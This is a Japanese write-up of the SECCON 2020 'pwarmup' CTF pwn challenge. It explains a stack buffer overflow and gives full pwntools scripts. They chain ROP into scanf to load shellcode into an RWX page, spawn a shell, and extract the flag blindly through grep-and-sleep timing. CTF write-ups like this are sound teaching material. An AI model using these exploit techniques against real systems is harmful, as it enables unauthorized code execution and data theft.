SECCON2020 pwarmup writeup

SECCON 2020 のpwarmupのwriteupです。 CTFをしばらくご無沙汰していたので、もともと低いスキルがさらに落ちました。そのため本問pwarmupにすら苦戦する始末でした。解けたけど。 かなり早い段階で問いてたチームもいてお腹いたいです

調査

配布物はソースコード main.c と 実行ファイル chall (ELF64) のみ。 動作はputsでウェルカムメッセージを出力し、scanfでスタックに読み込み。そしてfcloseでstdoutとstderrを閉じます。つまり何も表示されないようにします。
#include <unistd.h>
#include <stdio.h>

int main(void) {
  char buf[0x20];
  puts("Welcome to Pwn Warmup!");
  scanf("%s", buf);
  fclose(stdout);
  fclose(stderr);
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(60);
}
入力受付がscanf関数なので、一部のバイト (0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x20) は読み込めないという制限があります。 セキュリティ機構は以下の通り全部ナシ。
$ checksec chall

[*] '/vagrant/pwarmup/chall'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
ASLR有効な環境下でlibcアドレスのリークなしに呼べそうな関数(= PLTエントリがある関数)はscanf, puts, fcloseくらい。
pwndbg> tele 0x400570 30

00:0000│   0x400570 ◂— push   qword ptr [rip + 0x200632]
01:0008│   0x400578 ◂— xor    al, 6
02:0010│   0x400580 (puts@plt) ◂— jmp    qword ptr [rip + 0x200632]
03:0018│   0x400588 (puts@plt+8) ◂— add    byte ptr [rax], al
04:0020│   0x400590 (fclose@plt) ◂— jmp    qword ptr [rip + 0x20062a]
05:0028│   0x400598 (fclose@plt+8) ◂— add    byte ptr [rax], al
06:0030│   0x4005a0 (alarm@plt) ◂— jmp    qword ptr [rip + 0x200622]
07:0038│   0x4005a8 (alarm@plt+8) ◂— add    byte ptr [rax], al
08:0040│   0x4005b0 (setvbuf@plt) ◂— jmp    qword ptr [rip + 0x20061a]
09:0048│   0x4005b8 (setvbuf@plt+8) ◂— add    byte ptr [rax], al
0a:0050│   0x4005c0 (__isoc99_scanf@plt) ◂— jmp    qword ptr [rip + 0x200612]
0b:0058│   0x4005c8 (__isoc99_scanf@plt+8) ◂— add    byte ptr [rax], al

シェル起動

方針

「NX disable」で実行可能領域が多いしウォームアップ問題ということで、ASLR対象外のアドレス固定の場所(BSSとか)にシェルコードを読み込んで実行するのかなとアタリをつけました。 「stdoutとstdinがクローズされる」 + 「再オープンできるような関数はlibcリークなしでは呼べなそう」+「ウォームアップの位置付けでlibc配布無し(libc特定の苦労は想定されてなさそう)」ということからlibcリークはしなくていい問題のはずと考えました。 「リークなしで呼べそうな関数がscanf, puts, fclose」なのでROPのみで有効な攻撃は難しそうだからやっぱりROP+シェルコードを使うよね、ということになります。 よって大まかには次の順でやることにしました。
  1. main関数内で呼ばれるscanfでスタックにROPペイロードを積む
  2. ROPでscanf(“%s”, buf) を呼び、どこか読み書き可能な場所にシェルコードを読み込む
  3. ROPでシェルコード先頭にリターンし、シェルを起動!
シェルコードの書き込み先はどうするかですが、使われることが多いBSSセクションのアドレスは、scanfが読み込めない0x0cが入ってしまいそのまま使えません。
pwndbg> elf

0x400200 - 0x40021c  .interp
0x40021c - 0x40023c  .note.ABI-tag
0x40023c - 0x400260  .note.gnu.build-id
0x400260 - 0x400290  .gnu.hash
0x400290 - 0x400398  .dynsym
0x400398 - 0x400417  .dynstr
0x400418 - 0x40042e  .gnu.version
0x400430 - 0x400460  .gnu.version_r
0x400460 - 0x4004d8  .rela.dyn
0x4004d8 - 0x400550  .rela.plt
0x400550 - 0x400567  .init
0x400570 - 0x4005d0  .plt
0x4005d0 - 0x4007f2  .text
0x4007f4 - 0x4007fd  .fini
0x400800 - 0x40081e  .rodata
0x400820 - 0x400864  .eh_frame_hdr
0x400868 - 0x400988  .eh_frame
0x600988 - 0x600998  .init_array
0x600998 - 0x6009a0  .fini_array
0x6009a0 - 0x600b90  .dynamic
0x600b90 - 0x600ba0  .got
0x600ba0 - 0x600be0  .got.plt
0x600be0 - 0x600bf0  .data
0x600c00 - 0x600c30  .bss      # <---これね!
よって代わりに、読み書き実行ができてASLR対象外ゆえアドレスが変動しない、かつアドレスがscanfで読み込める都合の良い場所を適当に見繕います。適当に 0x600000+0x400にしました。
pwndbg> vmmap

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /vagrant/chall
          0x600000           0x601000 rwxp     1000 0      /vagrant/chall # <---ここね!
    0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcb000     0x7ffff7dcf000 r-xp     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd1000 rwxp     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dd1000     0x7ffff7dd5000 rwxp     4000 0      
    0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7feb000     0x7ffff7fed000 rwxp     2000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r-xp     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rwxp     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rwxp     1000 0      
    0x7ffffffde000     0x7ffffffff000 rwxp    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

シェル起動の実施

こちらが攻撃コードになります。
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

# 攻撃部分のみ抜粋した(なのでこのコード丸コピペでは動くか未検証)
# pwntoolsが必要

from pwn import *
import time

# 攻撃部分!
def attack(io):
    scanf_buf = 0x7fffffffe450
    main_ret = 0x7fffffffe478
    padding_size = (main_ret - scanf_buf)

    plt_scanf = 0x4005c0

    rop_rdi_ret = 0x00000000004007e3
    rop_rdi_r15_ret = 0x4007e1

    dummy = 0xdeadbeef

    shellcode_store_section = 0x600000 + 0x400

    shellcode = asm(shellcraft.amd64.linux.sh())

    addr_formatstring = 0x40081b  # "%s"のある場所

    payload1 = padding_size *'A' +p64(rop_rdi_ret) + p64(addr_formatstring) + p64(rop_rdi_r15_ret) + p64(shellcode_store_section) + p64(dummy) + p64(plt_scanf) + p64(shellcode_store_section)
    payload2 = shellcode

    io.sendline(payload1)
    time.sleep(1)
    io.sendline(payload2)

    io.interactive()

# 入れてネ
host = "x.x.x.x"
port = 0000
io = remote(host, port)
attack(io)
実際に問題サーバに攻撃してみます。
$ python2 solver.py

(中略)
[*] Switching to interactive mode
[DEBUG] Received 0x17 bytes:
    'Welcome to Pwn Warmup!\n'
Welcome to Pwn Warmup!
$ exit
[DEBUG] Sent 0x5 bytes:
    'exit\n'
[*] Got EOF while reading in interactive
向こうから何も文字が送られて来ないのでシェルが取れたかハッキリしませんが、exitと打つとEOFが云々と出ます。sleep 10; exit だと10秒後に Got EOF while reading in interactive となるため、コマンドは実行できています!問題サーバ上でちゃんとシェルが起動しているようです!! (余計な文字はpwntoolsのログレベルをdebugにしてるからです。)

フラグを表示させる(ブラインドSQLi的な感じに)

stdoutとstderrがクローズされているのでシェル起動しても何も表示されません!flagは目の前ですが、何も見えません!! 他の人のWriteup見ると、シェルにコマンドを打って標準出力を復活させたり、リバースシェルをやるのが賢い方法だったみたいですね。 自分が解いていてたときはコマンドで復活は思いつかず、リバースシェルは試したけど何故かできませんでした。そのため、(正式名称は知りませんが)ブラインドSQLインジェクション的に一文字ずつ当てて行きました。 たとえ文字は見えなくても、シェルが終了したタイミングはEOFで分かります。それを利用してflagの文字列を一文字ずつ当てていきます。 今回は次のように、grepを使い特定のflag文字列を持っているファイルが存在すれば4秒待ってexit、存在しなければ即時exitするワンライナーを用いました。EOFが来るまでの時間で、特定のflag文字列をもつファイルが存在するかがわかるわけです。
# もしFLAG{sa3Avという文字列をもつファイルがあれば4秒後にexit, なければ即時exit
 if [ $(grep -Fr "FLAG{sa3Av" ./ | wc -l) -ge 1 ]; then sleep 4; exit; else exit; fi
ルールに書いてあるとおり、flag文字列は SECCON{[\x20-\x7e]+} と言う形式なので、特殊な記号のエスケープの仕方に気をつけつつ探索します。 シェルを起動させるスクリプトを改修し、一文字ずつ当てていくようにすると以下のようになります。
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

# 例によって抜粋なため、動作確認はしてません。たぶん動くけど

from pwn import *
import time
import string

# 攻撃
def attack(io, command):
    
    scanf_buf = 0x7fffffffe450
    main_ret = 0x7fffffffe478
    padding_size = (main_ret - scanf_buf)

    plt_scanf = 0x4005c0

    rop_rdi_ret = 0x00000000004007e3
    rop_rdi_r15_ret = 0x4007e1

    dummy = 0xdeadbeef

    shellcode_store_section = 0x600000 + 0x400 
    
    shellcode = asm(shellcraft.amd64.linux.sh())

    addr_formatstring = 0x40081b # "%s" があるとこ

    payload1 = padding_size *'A' +p64(rop_rdi_ret) + p64(addr_formatstring) + p64(rop_rdi_r15_ret) + p64(shellcode_store_section) + p64(dummy) + p64(plt_scanf) + p64(shellcode_store_section)
    payload2 = shellcode

    io.sendline(payload1)
    time.sleep(0.5)     
    io.sendline(payload2)

    io.recv()  # Welcomeなんとかメッセージを読み捨て

    # 攻撃成立後起動してるシェルに送る文字
    io.sendline(command)

    # 時間を測る
    start = time.time()

    try:
        res = io.recv()
        print("READ RESULT")
        print(res)
    except EOFError:
        print("Exit. got EOF")
    finally:
        elapsed_time = time.time() - start
        # exitまでに時間がかかってれば正解。すぐexitしたなら不正解
        if elapsed_time > 3:
            return True
        else:
            return False


# -------^^^以下テンプレ^^^----------
if __name__ == '__main__':
    # 文字のリストを用意
    base = "SECCON{"

    # フラグの形式は "SECCON{[\x20-\x7e]+}"
    # alphabet = [chr(i) for i in range(0x20, 0x7e +1)] # このままだとエスケープされてないからダメ
    
    alphabet = [
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
    '-', '.', '/', '_', '}',
    '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
    '\\"', "'", '\\\\\\`', '\\\\', ' ', '!', '#', '$', '%', '&',  '(', ')', '*', '+', ',',
    ':', ';', '<', '=', '>', '?', '@', 
     '[',  ']', '^',   
      '{', '|', '~']
    # エスケープする際の注意(一文字ずつgrepで確かめてみた)
    # ダブルクォートの中ではシングルクォートはエスケープがいらない
    # バッククオートはダブルクォートの中ではエスケープがいる(\\\`)。↑はシングルクォートなのでエスケープしなくていいが、結合するときに必要だから6つのバックスラッシュが必要

    print("alphabet:")
    print(alphabet)

    # 一文字ずつ変えて攻撃を試す
    while True:
        for character in alphabet:
            print("testing... " + character  + "  current-flag:  "+ base)
            flag_candidate = base + character   # いままでに正解したフラグに1文字追加して試す
            command='if [ $(grep -Fr "' + flag_candidate + '"   ./ | wc -l) -ge 1  ]; then sleep 4; exit; else exit; fi'   
            
            print("command: " + command)

            # 入れてネ
            host = "x.x.x.x"
            port = 0000
            tube = remote(host, port)

            # exitまでに時間がかかればその文字は正解、すぐexitすれば不正解
            does_success = attack(tube, command)

            tube.close()

            if does_success:
                base = flag_candidate   # 正解フラグを更新
                print("HIT!!!   "  + base)
                # 閉じ括弧ならこれで終わり
                if character == "}":
                    print("finish!!")
                    exit()

                break # 最初から文字を探索し直す
            else:
                pass


            # もし全部の文字試しても当たらなかったら諦める
            if character == alphabet[-1]:
                print("ERROR! all alphabet was tried, but not hit.")
                exit()

            
            # 連続でやってブロックされたらやだから0.5秒まつ
            time.sleep(0.5)
実行するとこのように文字を一文字ずつ探索していってくれます。(flagは適当なものです)
$ python2 solve_auto.py                            

(中略) 
alphabet:                                                 
['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z
', '-', '.', '/', '_', '}', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\"', "'", '\\\\\\`', '\\\\', ' ', '!', '#', '$
', '%', '&', '(', ')', '*', '+', ',', ':', ';', '<', '=', '>', '?', '@', '[', ']', '^', '{', '|', '~']
testing... a  current-flag:  SECCON{s_t0nadf
command: if [ $(grep -Fr "SECCON{s_t0nadfa"   ./ | wc -l) -ge 1  ]; then sleep 4; exit; else exit;
 fi                                                                       
[+] Opening connection to xxxx.chal.seccon.jp on port 9001: Done                                                            Exit. got EOF            
[*] Closed connection to xxxx.chal.seccon.jp port 9001          
待ってればflagが出ます!やったね!

コメント